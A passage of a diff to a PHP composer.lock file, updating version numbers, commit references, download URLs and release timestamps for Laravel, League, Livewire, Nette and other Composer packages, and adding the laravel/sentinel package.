}, - "time": "2026-01-27T02:55:06+00:00" + "time": "2026-03-23T14:35:33+00:00" }, { "name": "laravel/sanctum", - "version": "v4.3.0", + "version": "v4.3.1", "source": { "type": "git", "url": "https://github.com/laravel/sanctum.git", - "reference": "c978c82b2b8ab685468a7ca35224497d541b775a" + "reference": "e3b85d6e36ad00e5db2d1dcc27c81ffdf15cbf76" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/laravel/sanctum/zipball/c978c82b2b8ab685468a7ca35224497d541b775a", - "reference": "c978c82b2b8ab685468a7ca35224497d541b775a", + "url": "https://api.github.com/repos/laravel/sanctum/zipball/e3b85d6e36ad00e5db2d1dcc27c81ffdf15cbf76", + "reference": "e3b85d6e36ad00e5db2d1dcc27c81ffdf15cbf76", "shasum": "" }, "require": { "ext-json": "*", - "illuminate/console": "^11.0|^12.0", - "illuminate/contracts": "^11.0|^12.0", - "illuminate/database": "^11.0|^12.0", - "illuminate/support": "^11.0|^12.0", + "illuminate/console": "^11.0|^12.0|^13.0", + "illuminate/contracts": "^11.0|^12.0|^13.0", + "illuminate/database": "^11.0|^12.0|^13.0", + "illuminate/support": "^11.0|^12.0|^13.0", "php": "^8.2", - "symfony/console": "^7.0" + "symfony/console": "^7.0|^8.0" }, "require-dev": { "mockery/mockery": "^1.6", - "orchestra/testbench": "^9.15|^10.8", + "orchestra/testbench": "^9.15|^10.8|^11.0", "phpstan/phpstan": "^1.10" }, "type": "library", @@ -2263,31 +2360,90 @@ "issues": "https://github.com/laravel/sanctum/issues", "source": "https://github.com/laravel/sanctum" }, - "time": "2026-01-22T22:27:01+00:00" + "time": "2026-02-07T17:19:31+00:00" }, { - "name": "laravel/serializable-closure", - "version": "v2.0.8", + "name": "laravel/sentinel", + "version": "v1.0.1", "source": { "type": "git", - "url": "https://github.com/laravel/serializable-closure.git", - "reference": "7581a4407012f5f53365e11bafc520fd7f36bc9b" + "url": "https://github.com/laravel/sentinel.git", + "reference": "7a98db53e0d9d6f61387f3141c07477f97425603" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/laravel/serializable-closure/zipball/7581a4407012f5f53365e11bafc520fd7f36bc9b", - "reference": "7581a4407012f5f53365e11bafc520fd7f36bc9b", + "url": "https://api.github.com/repos/laravel/sentinel/zipball/7a98db53e0d9d6f61387f3141c07477f97425603", + "reference": "7a98db53e0d9d6f61387f3141c07477f97425603", + "shasum": "" + }, + "require": { + "ext-json": "*", + "illuminate/container": "^8.37|^9.0|^10.0|^11.0|^12.0|^13.0", + "php": "^8.0" + }, + "require-dev": { + "laravel/pint": "^1.27", + "orchestra/testbench": "^6.47.1|^7.56|^8.37|^9.16|^10.9|^11.0", + "phpstan/phpstan": "^2.1.33" + }, + "type": "library", + "extra": { + "laravel": { + "providers": [ + "Laravel\\Sentinel\\SentinelServiceProvider" + ] + }, + "branch-alias": { + "dev-main": "1.x-dev" + } + }, + "autoload": { + "psr-4": { + "Laravel\\Sentinel\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Taylor Otwell", + "email": "taylor@laravel.com" + }, + { + "name": "Mior Muhammad Zaki", + "email": "mior@laravel.com" + } + ], + "support": { + "source": "https://github.com/laravel/sentinel/tree/v1.0.1" + }, + "time": "2026-02-12T13:32:54+00:00" + }, + { + "name": "laravel/serializable-closure", + "version": "v2.0.10", + "source": { + "type": "git", + "url": "https://github.com/laravel/serializable-closure.git", + "reference": "870fc81d2f879903dfc5b60bf8a0f94a1609e669" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/laravel/serializable-closure/zipball/870fc81d2f879903dfc5b60bf8a0f94a1609e669", + "reference": "870fc81d2f879903dfc5b60bf8a0f94a1609e669", "shasum": "" }, "require": { "php": "^8.1" }, "require-dev": { - "illuminate/support": "^10.0|^11.0|^12.0", + "illuminate/support": "^10.0|^11.0|^12.0|^13.0", "nesbot/carbon": "^2.67|^3.0", "pestphp/pest": "^2.36|^3.0|^4.0", "phpstan/phpstan": "^2.0", - "symfony/var-dumper": "^6.2.0|^7.0.0" + "symfony/var-dumper": "^6.2.0|^7.0.0|^8.0.0" }, "type": "library", "extra": { @@ -2324,36 +2480,36 @@ "issues": "https://github.com/laravel/serializable-closure/issues", "source": "https://github.com/laravel/serializable-closure" }, - "time": "2026-01-08T16:22:46+00:00" + "time": "2026-02-20T19:59:49+00:00" }, { "name": "laravel/socialite", - "version": "v5.24.2", + "version": "v5.26.0", "source": { "type": "git", "url": "https://github.com/laravel/socialite.git", - "reference": "5cea2eebf11ca4bc6c2f20495c82a70a9b3d1613" + "reference": "1d26f0c653a5f0e88859f4197830a29fe0cc59d0" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/laravel/socialite/zipball/5cea2eebf11ca4bc6c2f20495c82a70a9b3d1613", - "reference": "5cea2eebf11ca4bc6c2f20495c82a70a9b3d1613", + "url": "https://api.github.com/repos/laravel/socialite/zipball/1d26f0c653a5f0e88859f4197830a29fe0cc59d0", + "reference": "1d26f0c653a5f0e88859f4197830a29fe0cc59d0", "shasum": "" }, "require": { "ext-json": "*", "firebase/php-jwt": "^6.4|^7.0", "guzzlehttp/guzzle": "^6.0|^7.0", - "illuminate/contracts": "^6.0|^7.0|^8.0|^9.0|^10.0|^11.0|^12.0", - "illuminate/http": "^6.0|^7.0|^8.0|^9.0|^10.0|^11.0|^12.0", - "illuminate/support": "^6.0|^7.0|^8.0|^9.0|^10.0|^11.0|^12.0", + "illuminate/contracts": "^6.0|^7.0|^8.0|^9.0|^10.0|^11.0|^12.0|^13.0", + "illuminate/http": "^6.0|^7.0|^8.0|^9.0|^10.0|^11.0|^12.0|^13.0", + "illuminate/support": "^6.0|^7.0|^8.0|^9.0|^10.0|^11.0|^12.0|^13.0", "league/oauth1-client": "^1.11", "php": "^7.2|^8.0", "phpseclib/phpseclib": "^3.0" }, "require-dev": { "mockery/mockery": "^1.0", - "orchestra/testbench": "^4.18|^5.20|^6.47|^7.55|^8.36|^9.15|^10.8", + "orchestra/testbench": "^4.18|^5.20|^6.47|^7.55|^8.36|^9.15|^10.8|^11.0", "phpstan/phpstan": "^1.12.23", "phpunit/phpunit": "^8.0|^9.3|^10.4|^11.5|^12.0" }, @@ -2396,20 +2552,20 @@ "issues": "https://github.com/laravel/socialite/issues", "source": "https://github.com/laravel/socialite" }, - "time": "2026-01-10T16:07:28+00:00" + "time": "2026-03-24T18:37:47+00:00" }, { "name": "laravel/tinker", - "version": "v2.11.0", + "version": "v2.11.1", "source": { "type": "git", "url": "https://github.com/laravel/tinker.git", - "reference": "3d34b97c9a1747a81a3fde90482c092bd8b66468" + "reference": "c9f80cc835649b5c1842898fb043f8cc098dd741" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/laravel/tinker/zipball/3d34b97c9a1747a81a3fde90482c092bd8b66468", - "reference": "3d34b97c9a1747a81a3fde90482c092bd8b66468", + "url": "https://api.github.com/repos/laravel/tinker/zipball/c9f80cc835649b5c1842898fb043f8cc098dd741", + "reference": "c9f80cc835649b5c1842898fb043f8cc098dd741", "shasum": "" }, "require": { @@ -2460,35 +2616,35 @@ ], "support": { "issues": "https://github.com/laravel/tinker/issues", - "source": "https://github.com/laravel/tinker/tree/v2.11.0" + "source": "https://github.com/laravel/tinker/tree/v2.11.1" }, - "time": "2025-12-19T19:16:45+00:00" + "time": "2026-02-06T14:12:35+00:00" }, { "name": "laravel/ui", - "version": "v4.6.1", + "version": "v4.6.3", "source": { "type": "git", "url": "https://github.com/laravel/ui.git", - "reference": "7d6ffa38d79f19c9b3e70a751a9af845e8f41d88" + "reference": "ff27db15416c1ed8ad9848f5692e47595dd5de27" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/laravel/ui/zipball/7d6ffa38d79f19c9b3e70a751a9af845e8f41d88", - "reference": "7d6ffa38d79f19c9b3e70a751a9af845e8f41d88", + "url": "https://api.github.com/repos/laravel/ui/zipball/ff27db15416c1ed8ad9848f5692e47595dd5de27", + "reference": "ff27db15416c1ed8ad9848f5692e47595dd5de27", "shasum": "" }, "require": { - "illuminate/console": "^9.21|^10.0|^11.0|^12.0", - "illuminate/filesystem": "^9.21|^10.0|^11.0|^12.0", - "illuminate/support": "^9.21|^10.0|^11.0|^12.0", - "illuminate/validation": "^9.21|^10.0|^11.0|^12.0", + "illuminate/console": "^9.21|^10.0|^11.0|^12.0|^13.0", + "illuminate/filesystem": "^9.21|^10.0|^11.0|^12.0|^13.0", + "illuminate/support": "^9.21|^10.0|^11.0|^12.0|^13.0", + "illuminate/validation": "^9.21|^10.0|^11.0|^12.0|^13.0", "php": "^8.0", - "symfony/console": "^6.0|^7.0" + "symfony/console": "^6.0|^7.0|^8.0" }, "require-dev": { - "orchestra/testbench": "^7.35|^8.15|^9.0|^10.0", - "phpunit/phpunit": "^9.3|^10.4|^11.5" + "orchestra/testbench": "^7.35|^8.15|^9.0|^10.0|^11.0", + "phpunit/phpunit": "^9.3|^10.4|^11.5|^12.5|^13.0" }, "type": "library", "extra": { @@ -2523,9 +2679,9 @@ "ui" ], "support": { - "source": "https://github.com/laravel/ui/tree/v4.6.1" + "source": "https://github.com/laravel/ui/tree/v4.6.3" }, - "time": "2025-01-28T15:15:29+00:00" + "time": "2026-03-17T13:41:52+00:00" }, { "name": "lcobucci/jwt", @@ -2602,16 +2758,16 @@ }, { "name": "league/commonmark", - "version": "2.8.0", + "version": "2.8.2", "source": { "type": "git", "url": "https://github.com/thephpleague/commonmark.git", - "reference": "4efa10c1e56488e658d10adf7b7b7dcd19940bfb" + "reference": "59fb075d2101740c337c7216e3f32b36c204218b" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/thephpleague/commonmark/zipball/4efa10c1e56488e658d10adf7b7b7dcd19940bfb", - "reference": "4efa10c1e56488e658d10adf7b7b7dcd19940bfb", + "url": "https://api.github.com/repos/thephpleague/commonmark/zipball/59fb075d2101740c337c7216e3f32b36c204218b", + "reference": "59fb075d2101740c337c7216e3f32b36c204218b", "shasum": "" }, "require": { @@ -2636,9 +2792,9 @@ "phpstan/phpstan": "^1.8.2", "phpunit/phpunit": "^9.5.21 || ^10.5.9 || ^11.0.0", "scrutinizer/ocular": "^1.8.1", - "symfony/finder": "^5.3 | ^6.0 | ^7.0", - "symfony/process": "^5.4 | ^6.0 | ^7.0", - "symfony/yaml": "^2.3 | ^3.0 | ^4.0 | ^5.0 | ^6.0 | ^7.0", + "symfony/finder": "^5.3 | ^6.0 | ^7.0 || ^8.0", + "symfony/process": "^5.4 | ^6.0 | ^7.0 || ^8.0", + "symfony/yaml": "^2.3 | ^3.0 | ^4.0 | ^5.0 | ^6.0 | ^7.0 || ^8.0", "unleashedtech/php-coding-standard": "^3.1.1", "vimeo/psalm": "^4.24.0 || ^5.0.0 || ^6.0.0" }, @@ -2705,7 +2861,7 @@ "type": "tidelift" } ], - "time": "2025-11-26T21:48:24+00:00" + "time": "2026-03-19T13:16:38+00:00" }, { "name": "league/config", @@ -2791,16 +2947,16 @@ }, { "name": "league/flysystem", - "version": "3.31.0", + "version": "3.33.0", "source": { "type": "git", "url": "https://github.com/thephpleague/flysystem.git", - "reference": "1717e0b3642b0df65ecb0cc89cdd99fa840672ff" + "reference": "570b8871e0ce693764434b29154c54b434905350" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/thephpleague/flysystem/zipball/1717e0b3642b0df65ecb0cc89cdd99fa840672ff", - "reference": "1717e0b3642b0df65ecb0cc89cdd99fa840672ff", + "url": "https://api.github.com/repos/thephpleague/flysystem/zipball/570b8871e0ce693764434b29154c54b434905350", + "reference": "570b8871e0ce693764434b29154c54b434905350", "shasum": "" }, "require": { @@ -2868,22 +3024,22 @@ ], "support": { "issues": "https://github.com/thephpleague/flysystem/issues", - "source": "https://github.com/thephpleague/flysystem/tree/3.31.0" + "source": "https://github.com/thephpleague/flysystem/tree/3.33.0" }, - "time": "2026-01-23T15:38:47+00:00" + "time": "2026-03-25T07:59:30+00:00" }, { "name": "league/flysystem-aws-s3-v3", - "version": "3.31.0", + "version": "3.32.0", "source": { "type": "git", "url": "https://github.com/thephpleague/flysystem-aws-s3-v3.git", - "reference": "e36a2bc60b06332c92e4435047797ded352b446f" + "reference": "a1979df7c9784d334ea6df356aed3d18ac6673d0" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/thephpleague/flysystem-aws-s3-v3/zipball/e36a2bc60b06332c92e4435047797ded352b446f", - "reference": "e36a2bc60b06332c92e4435047797ded352b446f", + "url": "https://api.github.com/repos/thephpleague/flysystem-aws-s3-v3/zipball/a1979df7c9784d334ea6df356aed3d18ac6673d0", + "reference": "a1979df7c9784d334ea6df356aed3d18ac6673d0", "shasum": "" }, "require": { @@ -2923,9 +3079,9 @@ "storage" ], "support": { - "source": "https://github.com/thephpleague/flysystem-aws-s3-v3/tree/3.31.0" + "source": "https://github.com/thephpleague/flysystem-aws-s3-v3/tree/3.32.0" }, - "time": "2026-01-23T15:30:45+00:00" + "time": "2026-02-25T16:46:44+00:00" }, { "name": "league/flysystem-local", @@ -2978,16 +3134,16 @@ }, { "name": "league/flysystem-sftp-v3", - "version": "3.31.0", + "version": "3.33.0", "source": { "type": "git", "url": "https://github.com/thephpleague/flysystem-sftp-v3.git", - "reference": "f01dd8d66e98b20608846963cc790c2b698e8b03" + "reference": "34ff5ef0f841add92e2b902c1005f72135b03646" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/thephpleague/flysystem-sftp-v3/zipball/f01dd8d66e98b20608846963cc790c2b698e8b03", - "reference": "f01dd8d66e98b20608846963cc790c2b698e8b03", + "url": "https://api.github.com/repos/thephpleague/flysystem-sftp-v3/zipball/34ff5ef0f841add92e2b902c1005f72135b03646", + "reference": "34ff5ef0f841add92e2b902c1005f72135b03646", "shasum": "" }, "require": { @@ -3021,9 +3177,9 @@ "sftp" ], "support": { - "source": "https://github.com/thephpleague/flysystem-sftp-v3/tree/3.31.0" + "source": "https://github.com/thephpleague/flysystem-sftp-v3/tree/3.33.0" }, - "time": "2026-01-23T15:30:45+00:00" + "time": "2026-03-20T13:22:31+00:00" }, { "name": "league/mime-type-detection", @@ -3159,20 +3315,20 @@ }, { "name": "league/uri", - "version": "7.8.0", + "version": "7.8.1", "source": { "type": "git", "url": "https://github.com/thephpleague/uri.git", - "reference": "4436c6ec8d458e4244448b069cc572d088230b76" + "reference": "08cf38e3924d4f56238125547b5720496fac8fd4" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/thephpleague/uri/zipball/4436c6ec8d458e4244448b069cc572d088230b76", - "reference": "4436c6ec8d458e4244448b069cc572d088230b76", + "url": "https://api.github.com/repos/thephpleague/uri/zipball/08cf38e3924d4f56238125547b5720496fac8fd4", + "reference": "08cf38e3924d4f56238125547b5720496fac8fd4", "shasum": "" }, "require": { - "league/uri-interfaces": "^7.8", + "league/uri-interfaces": "^7.8.1", "php": "^8.1", "psr/http-factory": "^1" }, @@ -3245,7 +3401,7 @@ "docs": "https://uri.thephpleague.com", "forum": "https://thephpleague.slack.com", "issues": "https://github.com/thephpleague/uri-src/issues", - "source": "https://github.com/thephpleague/uri/tree/7.8.0" + "source": "https://github.com/thephpleague/uri/tree/7.8.1" }, "funding": [ { @@ -3253,20 +3409,20 @@ "type": "github" } ], - "time": "2026-01-14T17:24:56+00:00" + "time": "2026-03-15T20:22:25+00:00" }, { "name": "league/uri-interfaces", - "version": "7.8.0", + "version": "7.8.1", "source": { "type": "git", "url": "https://github.com/thephpleague/uri-interfaces.git", - "reference": "c5c5cd056110fc8afaba29fa6b72a43ced42acd4" + "reference": "85d5c77c5d6d3af6c54db4a78246364908f3c928" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/thephpleague/uri-interfaces/zipball/c5c5cd056110fc8afaba29fa6b72a43ced42acd4", - "reference": "c5c5cd056110fc8afaba29fa6b72a43ced42acd4", + "url": "https://api.github.com/repos/thephpleague/uri-interfaces/zipball/85d5c77c5d6d3af6c54db4a78246364908f3c928", + "reference": "85d5c77c5d6d3af6c54db4a78246364908f3c928", "shasum": "" }, "require": { @@ -3329,7 +3485,7 @@ "docs": "https://uri.thephpleague.com", "forum": "https://thephpleague.slack.com", "issues": "https://github.com/thephpleague/uri-src/issues", - "source": "https://github.com/thephpleague/uri-interfaces/tree/7.8.0" + "source": "https://github.com/thephpleague/uri-interfaces/tree/7.8.1" }, "funding": [ { @@ -3337,40 +3493,40 @@ "type": "github" } ], - "time": "2026-01-15T06:54:53+00:00" + "time": "2026-03-08T20:05:35+00:00" }, { "name": "livewire/livewire", - "version": "v3.7.8", + "version": "v3.7.11", "source": { "type": "git", "url": "https://github.com/livewire/livewire.git", - "reference": "06ec7e8cd61bb01739b8f26396db6fe73b7e0607" + "reference": "addd6e8e9234df75f29e6a327ee2a745a7d67bb6" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/livewire/livewire/zipball/06ec7e8cd61bb01739b8f26396db6fe73b7e0607", - "reference": "06ec7e8cd61bb01739b8f26396db6fe73b7e0607", + "url": "https://api.github.com/repos/livewire/livewire/zipball/addd6e8e9234df75f29e6a327ee2a745a7d67bb6", + "reference": "addd6e8e9234df75f29e6a327ee2a745a7d67bb6", "shasum": "" }, "require": { - "illuminate/database": "^10.0|^11.0|^12.0", - "illuminate/routing": "^10.0|^11.0|^12.0", - "illuminate/support": "^10.0|^11.0|^12.0", - "illuminate/validation": "^10.0|^11.0|^12.0", + "illuminate/database": "^10.0|^11.0|^12.0|^13.0", + "illuminate/routing": "^10.0|^11.0|^12.0|^13.0", + "illuminate/support": "^10.0|^11.0|^12.0|^13.0", + "illuminate/validation": "^10.0|^11.0|^12.0|^13.0", "laravel/prompts": "^0.1.24|^0.2|^0.3", "league/mime-type-detection": "^1.9", "php": "^8.1", - "symfony/console": "^6.0|^7.0", - "symfony/http-kernel": "^6.2|^7.0" + "symfony/console": "^6.0|^7.0|^8.0", + "symfony/http-kernel": "^6.2|^7.0|^8.0" }, "require-dev": { "calebporzio/sushi": "^2.1", - "laravel/framework": "^10.15.0|^11.0|^12.0", + "laravel/framework": "^10.15.0|^11.0|^12.0|^13.0", "mockery/mockery": "^1.3.1", - "orchestra/testbench": "^8.21.0|^9.0|^10.0", - "orchestra/testbench-dusk": "^8.24|^9.1|^10.0", - "phpunit/phpunit": "^10.4|^11.5", + "orchestra/testbench": "^8.21.0|^9.0|^10.0|^11.0", + "orchestra/testbench-dusk": "^8.24|^9.1|^10.0|^11.0", + "phpunit/phpunit": "^10.4|^11.5|^12.5", "psy/psysh": "^0.11.22|^0.12" }, "type": "library", @@ -3405,7 +3561,7 @@ "description": "A front-end framework for Laravel.", "support": { "issues": "https://github.com/livewire/livewire/issues", - "source": "https://github.com/livewire/livewire/tree/v3.7.8" + "source": "https://github.com/livewire/livewire/tree/v3.7.11" }, "funding": [ { @@ -3413,7 +3569,7 @@ "type": "github" } ], - "time": "2026-02-03T02:57:56+00:00" + "time": "2026-02-26T00:58:19+00:00" }, { "name": "log1x/laravel-webfonts", @@ -3479,27 +3635,27 @@ }, { "name": "lorisleiva/laravel-actions", - "version": "v2.9.1", + "version": "v2.10.1", "source": { "type": "git", "url": "https://github.com/lorisleiva/laravel-actions.git", - "reference": "11c2531366ca8bd5efcd0afc9e8047e7999926ff" + "reference": "1cb9fd448c655ae90ac93c77be0c10cb57cf27d5" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/lorisleiva/laravel-actions/zipball/11c2531366ca8bd5efcd0afc9e8047e7999926ff", - "reference": "11c2531366ca8bd5efcd0afc9e8047e7999926ff", + "url": "https://api.github.com/repos/lorisleiva/laravel-actions/zipball/1cb9fd448c655ae90ac93c77be0c10cb57cf27d5", + "reference": "1cb9fd448c655ae90ac93c77be0c10cb57cf27d5", "shasum": "" }, "require": { - "illuminate/contracts": "^10.0|^11.0|^12.0", - "lorisleiva/lody": "^0.6", - "php": "^8.1" + "illuminate/contracts": "^11.0|^12.0|^13.0", + "lorisleiva/lody": "^0.7", + "php": "^8.2" }, "require-dev": { - "orchestra/testbench": "^10.0", - "pestphp/pest": "^2.34|^3.0", - "phpunit/phpunit": "^10.5|^11.5" + "orchestra/testbench": "^9.0|^10.0|^11.0", + "pestphp/pest": "^3.0|^4.0", + "phpunit/phpunit": "^11.5|^12.0" }, "type": "library", "extra": { @@ -3543,7 +3699,7 @@ ], "support": { "issues": "https://github.com/lorisleiva/laravel-actions/issues", - "source": "https://github.com/lorisleiva/laravel-actions/tree/v2.9.1" + "source": "https://github.com/lorisleiva/laravel-actions/tree/v2.10.1" }, "funding": [ { @@ -3551,30 +3707,30 @@ "type": "github" } ], - "time": "2025-08-10T08:58:19+00:00" + "time": "2026-03-19T13:33:12+00:00" }, { "name": "lorisleiva/lody", - "version": "v0.6.0", + "version": "v0.7.0", "source": { "type": "git", "url": "https://github.com/lorisleiva/lody.git", - "reference": "6bada710ebc75f06fdf62db26327be1592c4f014" + "reference": "82ecb6faa55fb20109e6959f42f0f652cd77674b" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/lorisleiva/lody/zipball/6bada710ebc75f06fdf62db26327be1592c4f014", - "reference": "6bada710ebc75f06fdf62db26327be1592c4f014", + "url": "https://api.github.com/repos/lorisleiva/lody/zipball/82ecb6faa55fb20109e6959f42f0f652cd77674b", + "reference": "82ecb6faa55fb20109e6959f42f0f652cd77674b", "shasum": "" }, "require": { - "illuminate/contracts": "^10.0|^11.0|^12.0", - "php": "^8.1" + "illuminate/contracts": "^11.0|^12.0|^13.0", + "php": "^8.2" }, "require-dev": { - "orchestra/testbench": "^10.0", - "pestphp/pest": "^2.34|^3.0", - "phpunit/phpunit": "^10.5|^11.5" + "orchestra/testbench": "^9.0|^10.0|^11.0", + "pestphp/pest": "^3.0|^4.0", + "phpunit/phpunit": "^11.5|^12.0" }, "type": "library", "extra": { @@ -3615,7 +3771,7 @@ ], "support": { "issues": "https://github.com/lorisleiva/lody/issues", - "source": "https://github.com/lorisleiva/lody/tree/v0.6.0" + "source": "https://github.com/lorisleiva/lody/tree/v0.7.0" }, "funding": [ { @@ -3623,7 +3779,7 @@ "type": "github" } ], - "time": "2025-03-01T19:21:17+00:00" + "time": "2026-03-18T12:49:31+00:00" }, { "name": "monolog/monolog", @@ -3796,16 +3952,16 @@ }, { "name": "nesbot/carbon", - "version": "3.11.1", + "version": "3.11.3", "source": { "type": "git", "url": "https://github.com/CarbonPHP/carbon.git", - "reference": "f438fcc98f92babee98381d399c65336f3a3827f" + "reference": "6a7e652845bb018c668220c2a545aded8594fbbf" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/CarbonPHP/carbon/zipball/f438fcc98f92babee98381d399c65336f3a3827f", - "reference": "f438fcc98f92babee98381d399c65336f3a3827f", + "url": "https://api.github.com/repos/CarbonPHP/carbon/zipball/6a7e652845bb018c668220c2a545aded8594fbbf", + "reference": "6a7e652845bb018c668220c2a545aded8594fbbf", "shasum": "" }, "require": { @@ -3897,20 +4053,20 @@ "type": "tidelift" } ], - "time": "2026-01-29T09:26:29+00:00" + "time": "2026-03-11T17:23:39+00:00" }, { "name": "nette/schema", - "version": "v1.3.3", + "version": "v1.3.5", "source": { "type": "git", "url": "https://github.com/nette/schema.git", - "reference": "2befc2f42d7c715fd9d95efc31b1081e5d765004" + "reference": "f0ab1a3cda782dbc5da270d28545236aa80c4002" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/nette/schema/zipball/2befc2f42d7c715fd9d95efc31b1081e5d765004", - "reference": "2befc2f42d7c715fd9d95efc31b1081e5d765004", + "url": "https://api.github.com/repos/nette/schema/zipball/f0ab1a3cda782dbc5da270d28545236aa80c4002", + "reference": "f0ab1a3cda782dbc5da270d28545236aa80c4002", "shasum": "" }, "require": { @@ -3918,8 +4074,10 @@ "php": "8.1 - 8.5" }, "require-dev": { - "nette/tester": "^2.5.2", - "phpstan/phpstan-nette": "^2.0@stable", + "nette/phpstan-rules": "^1.0", + "nette/tester": "^2.6", + "phpstan/extension-installer": "^1.4@stable", + "phpstan/phpstan": "^2.1.39@stable", "tracy/tracy": "^2.8" }, "type": "library", @@ -3960,22 +4118,22 @@ ], "support": { "issues": "https://github.com/nette/schema/issues", - "source": "https://github.com/nette/schema/tree/v1.3.3" + "source": "https://github.com/nette/schema/tree/v1.3.5" }, - "time": "2025-10-30T22:57:59+00:00" + "time": "2026-02-23T03:47:12+00:00" }, { "name": "nette/utils", - "version": "v4.1.2", + "version": "v4.1.3", "source": { "type": "git", "url": "https://github.com/nette/utils.git", - "reference": "f76b5dc3d6c6d3043c8d937df2698515b99cbaf5" + "reference": "bb3ea637e3d131d72acc033cfc2746ee893349fe" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/nette/utils/zipball/f76b5dc3d6c6d3043c8d937df2698515b99cbaf5", - "reference": "f76b5dc3d6c6d3043c8d937df2698515b99cbaf5", + "url": "https://api.github.com/repos/nette/utils/zipball/bb3ea637e3d131d72acc033cfc2746ee893349fe", + "reference": "bb3ea637e3d131d72acc033cfc2746ee893349fe", "shasum": "" }, "require": { @@ -3987,8 +4145,10 @@ }, "require-dev": { "jetbrains/phpstorm-attributes": "^1.2", + "nette/phpstan-rules": "^1.0", "nette/tester": "^2.5", - "phpstan/phpstan": "^2.0@stable", + "phpstan/extension-installer": "^1.4@stable", + "phpstan/phpstan": "^2.1@stable", "tracy/tracy": "^2.9" }, "suggest": { @@ -4049,9 +4209,9 @@ ], "support": { "issues": "https://github.com/nette/utils/issues", - "source": "https://github.com/nette/utils/tree/v4.1.2" + "source": "https://github.com/nette/utils/tree/v4.1.3" }, - "time": "2026-02-03T17:21:09+00:00" + "time": "2026-02-13T03:05:33+00:00" }, { "name": "nikic/php-parser", @@ -4166,31 +4326,31 @@ }, { "name": "nunomaduro/termwind", - "version": "v2.3.3", + "version": "v2.4.0", "source": { "type": "git", "url": "https://github.com/nunomaduro/termwind.git", - "reference": "6fb2a640ff502caace8e05fd7be3b503a7e1c017" + "reference": "712a31b768f5daea284c2169a7d227031001b9a8" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/nunomaduro/termwind/zipball/6fb2a640ff502caace8e05fd7be3b503a7e1c017", - "reference": "6fb2a640ff502caace8e05fd7be3b503a7e1c017", + "url": "https://api.github.com/repos/nunomaduro/termwind/zipball/712a31b768f5daea284c2169a7d227031001b9a8", + "reference": "712a31b768f5daea284c2169a7d227031001b9a8", "shasum": "" }, "require": { "ext-mbstring": "*", "php": "^8.2", - "symfony/console": "^7.3.6" + "symfony/console": "^7.4.4 || ^8.0.4" }, "require-dev": { - "illuminate/console": "^11.46.1", - "laravel/pint": "^1.25.1", + "illuminate/console": "^11.47.0", + "laravel/pint": "^1.27.1", "mockery/mockery": "^1.6.12", - "pestphp/pest": "^2.36.0 || ^3.8.4 || ^4.1.3", + "pestphp/pest": "^2.36.0 || ^3.8.4 || ^4.3.2", "phpstan/phpstan": "^1.12.32", "phpstan/phpstan-strict-rules": "^1.6.2", - "symfony/var-dumper": "^7.3.5", + "symfony/var-dumper": "^7.3.5 || ^8.0.4", "thecodingmachine/phpstan-strict-rules": "^1.0.0" }, "type": "library", @@ -4222,7 +4382,7 @@ "email": "enunomaduro@gmail.com" } ], - "description": "Its like Tailwind CSS, but for the console.", + "description": "It's like Tailwind CSS, but for the console.", "keywords": [ "cli", "console", @@ -4233,7 +4393,7 @@ ], "support": { "issues": "https://github.com/nunomaduro/termwind/issues", - "source": "https://github.com/nunomaduro/termwind/tree/v2.3.3" + "source": "https://github.com/nunomaduro/termwind/tree/v2.4.0" }, "funding": [ { @@ -4249,7 +4409,7 @@ "type": "github" } ], - "time": "2025-11-20T02:34:59+00:00" + "time": "2026-02-16T23:10:27+00:00" }, { "name": "nyholm/psr7", @@ -4799,16 +4959,16 @@ }, { "name": "phpdocumentor/reflection-docblock", - "version": "5.6.6", + "version": "5.6.7", "source": { "type": "git", "url": "https://github.com/phpDocumentor/ReflectionDocBlock.git", - "reference": "5cee1d3dfc2d2aa6599834520911d246f656bcb8" + "reference": "31a105931bc8ffa3a123383829772e832fd8d903" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/phpDocumentor/ReflectionDocBlock/zipball/5cee1d3dfc2d2aa6599834520911d246f656bcb8", - "reference": "5cee1d3dfc2d2aa6599834520911d246f656bcb8", + "url": "https://api.github.com/repos/phpDocumentor/ReflectionDocBlock/zipball/31a105931bc8ffa3a123383829772e832fd8d903", + "reference": "31a105931bc8ffa3a123383829772e832fd8d903", "shasum": "" }, "require": { @@ -4857,9 +5017,9 @@ "description": "With this component, a library can provide support for annotations via DocBlocks or otherwise retrieve information that is embedded in a DocBlock.", "support": { "issues": "https://github.com/phpDocumentor/ReflectionDocBlock/issues", - "source": "https://github.com/phpDocumentor/ReflectionDocBlock/tree/5.6.6" + "source": "https://github.com/phpDocumentor/ReflectionDocBlock/tree/5.6.7" }, - "time": "2025-12-22T21:13:58+00:00" + "time": "2026-03-18T20:47:46+00:00" }, { "name": "phpdocumentor/type-resolver", @@ -4996,16 +5156,16 @@ }, { "name": "phpseclib/phpseclib", - "version": "3.0.49", + "version": "3.0.50", "source": { "type": "git", "url": "https://github.com/phpseclib/phpseclib.git", - "reference": "6233a1e12584754e6b5daa69fe1289b47775c1b9" + "reference": "aa6ad8321ed103dc3624fb600a25b66ebf78ec7b" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/phpseclib/phpseclib/zipball/6233a1e12584754e6b5daa69fe1289b47775c1b9", - "reference": "6233a1e12584754e6b5daa69fe1289b47775c1b9", + "url": "https://api.github.com/repos/phpseclib/phpseclib/zipball/aa6ad8321ed103dc3624fb600a25b66ebf78ec7b", + "reference": 